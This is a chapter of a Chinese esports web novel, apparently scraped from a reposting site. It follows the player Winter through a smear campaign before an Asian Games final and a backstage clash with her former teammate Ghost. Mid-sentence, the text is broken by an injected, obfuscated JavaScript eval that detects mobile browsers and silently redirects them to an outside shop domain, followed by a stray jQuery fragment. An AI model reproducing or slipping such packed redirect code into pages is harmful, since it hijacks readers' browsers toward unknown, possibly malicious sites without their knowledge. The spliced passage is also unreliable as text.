45
“刚那波换个法穿鞋就可以杀。”
“闪现留着过年?”
“很难相信这是冠军选手的操作。”
周叙临气定神闲,指点江山的样子让程知簌气不打一处来:“想玩中单就滚去开一把,别在旁边教我做事。”
话毕,瞥见周叙临一副无所谓甚至有点高兴的表情,她意识到大事不妙。
【降临什么时候爱管闲事了?】
【他管的闲事还少吗,马来西亚警告哈】
【这俩氛围是有点奇怪,我记得降临之前不爱搭理女生吧】
【请将女生的范围扩到人类】
【请将甜心蜜意频道切回我的恨海情天啊!】
程知簌松开一只手给了周叙临一圈,引起他假模假样的低呼。
她面上表情不变,绞尽脑汁地洗:“队友嘛,一起看看比赛再正常不过了。”
【队友很正常,降临不正常啊!】
【前面的说什么话,临宝一直都这样啊】
【说实话哦,降临最近的活人感蛮强的】
【活人感很强指的是和凛冬骂来骂去的话那我也能释怀了】
【磕cp的是把脑子磕傻了吧,会和一个公开骂自己的人握手言和的只能是麦麦】
看见新一轮的弹幕,她发现自己真是多余了。
两人就差直播掐架了,没人会觉得他们能够有点什么萌动的春心。
……
亚运会一切进展很顺利,只是决赛前又有人在微博旧事重提,掀起了一点浪花。
【36273:你们国家队就选这种人吗?[呕][呕]】
配图是很模糊的一张偷拍视角,似乎是在某个很高档的酒吧包间。
照片正中央的凛冬微微俯身,给旁边的老板倒酒。
老板的表情看不清楚,但那张脸,赫然是曾经与Dawn战队高层勾结的人之一。
此图掀起千层浪。
程知簌的身份常受诟病,黑子也总用“血脉不纯”这样的言论攻击。
可此事揭晓的时间太过巧妙,国内粉丝七嘴八舌讨论之下,又奇迹般地站在了一起。
但任凭他们怎么维护,程知簌还是被推上了风口浪尖。
——
晚上八点,距离26年9月28日的总决赛仅有二十四小时。
彼时的大家都在专心训练,认真准备明天的比赛,丝毫不敢松懈。
直到工作人员匆匆推门而入,脸色很难看地叫走了程知簌。
少一个人没法打训练赛,不过他们练得也差不多了,教练索性大家吩咐休息十分钟,等程知簌回来再继续。
周叙临见工作人员一副欲言又止的模样,不放心,也跟着出去。
工作人员看到他先是一愣,说不关他的事,回去吧。
周叙临以自己是队长,有义务关心队友为由,死皮赖脸地跟上去。
推门进了另一间办公室,里面有领队,还有赛事官方。
领队看见进来的是两个人,也没意外,安排他们坐下。
“看了热搜吗?”他问。
程知簌老老实实回答:“刚结束训练赛,还没来得及看。”
领队眼神示意,刚带他们进来的工作人员将自己的手机递给她。
程知簌疑惑地接过,在看见上面的标题时陡然变了脸。
#凛冬照片#
#那些说凛冬无妄之灾的滚出来#
#凛冬深陷嫖|娼丑闻#
#揭开Dawn的往事#
程知簌点开那张所谓的照片证据,看了两眼后将手机还回去。
周叙临坐在她旁边,也将这些热搜词和图片尽收眼底。
他率先发生:“凛冬不是这样的人。”
领队表情不变,反倒是赛事人员笑了:“所有经历过这些事的人都说自己是冤枉的。”
他转而看向领队:“选手的个人名誉和我们赛方没关系,但如果影响到了我们,那我们势必会采取措施。”
“什么措施?”领队问。
“下场,换人。”
程知簌垂在两边的手突地收紧:“我没有嫖|娼,这是污蔑!”
“照片是假的?”赛事人员反问。
程知簌的嘴唇嗫嚅,缓缓吐出两个字:“不是。”
赛事人员像是终于窥见了她的阴私,露出胜利的表情:“所以啊,我们让你下场,也是给你提供更多的解释时——”
“哐哐——”领队重重敲了两下桌子:“我们愿意配合工作,不是为了让你们威逼选手的。”
“这明明是最优解。”
“最优解是我们发布澄清微博,你们赛方配合我们转发。”
赛事人员又笑了:“你就那么确定,她什么都没做?”
这语气,像是在劝说一位不听话、不知人间险恶的孩童:“他们这些孩子年纪轻轻就出了社会,心智还不成熟,一时走错路是可以原谅的,但也不能嘴硬啊。”
程知簌咬住唇,拼命压制注意自己想站起来破口大骂的心理。
这都是些什么刻板印象,年纪小出社会就容易走错路?他们过按部就班的人生也不见得多顺风顺水。
周叙临偏头看着她,随后目光放到赛事人员身上,又重复一遍。“我相信凛冬。”
领队顿了顿,目光在程知簌和他之间游走,最后也顺着他的话说:“我们无条件相信选手的人品,任何侵犯选手利益的行为,我们都坚决抵制、绝不姑息。”
……
领队态度坚决,赛事方虽然怕出问题,但更怕事情有反转不好收场,最后只是让他们在比赛前把事情解决。
网上谣言满天飞,证据提取还不知道该从哪里开始,在时间上的确有点赶。
送走赛事人员后,程知簌向领队道歉:“对不起,是我的事情让队伍蒙羞了。”
周叙临反驳:“你又没做错,是那些在背后带节奏的人乱嚼舌根。”
领队说:“先别争谁对谁错,我先问你,那照片到底怎么回事?”
程知簌沉默片刻,再次开口的时候表情还带着些尴尬:“照片是真的,但那天他们说就是普通的团建,还说那个老板是联盟高层,和他打好关系能让我的路走得更稳。”
对于一个刚成年无人赏识的选手来说,这个条件天生的诱惑让他自动过滤掉了其中的漏洞。
“很长一段时间,我都以为自己是凭借他的关系才会一来就是首发,并为此惴惴不安,就算后来拿了那么多冠军,我依旧担心他们旧事重提。”
现在的确东窗事发了,只是时间地点都和她最初预想的相差甚远。
她继续说:“直到上一次降临的照片爆出,我的亲戚主动联系我,我才知道他们当初只是想攀上我亲戚的关系,顺便将我和他们拉到同一条船上。”
再细节的地方不方便说,比如亲戚是谁,比如他们要做什么。
但短短几句话,已经让领队有了大致想法。
“没事。”他说,“联盟刚才也打电话了,让我们问清楚,配合官方查清。”
周叙临急急插嘴:“我为他打包票,凛冬肯定不会干这样的事。”
程知簌:“你这话都说多少遍了,腻不腻?和你没关系,你先回去训练把。”
“可是……”
领队瞥了周叙临一眼:“不需要降临为你打包票,我们当然会无条件相信自己国家的队员。”
事情过去了那么久,早不爆出来晚不爆出来,偏偏选择在总决赛前发帖,背后的人什么心思谁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773122|202522||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看不出来。
……
翌日,天气晴,宜拿金牌。
距离登场还有二十分钟,后台走廊人员往来得更加频繁。
程知簌打算来走廊透透气,见人员密集不方便打扰,干脆又回休息室。
手刚触碰到门把手,一道声音从后面喊住了她。
“Winter。”
熟悉的名字令程知簌恍惚了一下。
她回头,看见的是她的第一位射手,Dawn.Ghost。
哦不,他已经转会,现在的前缀是KL了。
一年前□□事件爆出,他本也是其中之一,不知后面有谁在保他,硬说成是在谈恋爱,去酒吧是为了和女朋友和平分手。
的确,检查流水和聊天记录也没发现他有什么问题,酒吧他也只是去了那一次。
官方为了息事宁人,默认了这个理由。
都这样了他还不夹起尾巴做人,在官方公布后暗戳戳给自己立了个情圣的人设,又说些怀念前中单这样意味不明的话。
昨晚,他还跑去程知簌的微博蹦跶,第一个跳出来表明相信她,一副为前中单出头的样子。
程知簌连夜整理好证据发给领队,又经由联盟与赛方联合,总算是将热度降了下来。
可Ghost这一通操作下来,热度不降反升。
相信的人自然选择相信,带着偏见的人即便证据摆在眼前也依旧不松口,总会想方设法挑错。
明明是冷处理就能过去的,亚运会在即,网友没那么多功夫专注电竞圈的事情。
Ghost的话,却引起了网友更大的讨论。
程知簌不心虚,可任谁被一而再再而三地扒隐私也会厌烦。
而此时,罪魁祸首就在她眼前。
“我还以为是我看错了,有嫖|娼黑料争议的人也能上亚运会。”Ghost语气尖锐,带着毫不掩饰的敌意。
明明已经被澄清,但他就是选择性无视,摆明了是想搞事情。
程知簌不以为然,后退一步将刚拉开了一点的门重新关上。
“究竟嫖|娼的人是谁,我相信你比谁都清楚。”
人来人往的走廊,大家都忙得不可开交,没有人会冒着丢工作的风险为两个待会要上场比赛的人驻足。
“与其把心思放别人身上,不如管好自己,想办法提升实力,不然离开我的你,永远拿不了冠军。”
这话一下子就戳中了Ghost的心思。
黑子嘲讽他也总是这样说,离开了Dawn的他换了几批队友,最好的成绩只是四强。
他那些决赛切片被翻出,黑子足帧查看他的操作,发现他的高光少得可怜,即便有,也是Winter先做的嫁衣。
程知簌也曾为自己的第一位射手感到气愤,夺冠的五个人都至关重要,缺了谁都不行。
可心疼归心疼,Ghost既然要拿已经澄清的事情来恶心她,她这么说也只是回敬。
Ghost气得嘴巴都歪了,却还是强撑着脸上的表情:“你走着瞧,看今天的冠军到底在谁那里。”
程知簌看着Ghost甩手离去的背影,总觉得有些奇怪。
她嘴巴的厉害程度他是知道的,莫名其妙来恶心她一句就走,能影响谁的情绪还真不好说。
周叙临从走廊尽头走过来,神态自然地插兜。
见程知簌一脸凝重地站在门口,手放她面前晃了晃:“站门口干嘛?休息室不需要门神。”
程知簌没理他。
“怎么了?”周叙临问,“你们一个两个看见我都不说话,让我很难办的。”
程知簌突然抓住他话里面的重点:“一个、两个?”
她话还没说完,只听走廊尽头传来一阵惨叫。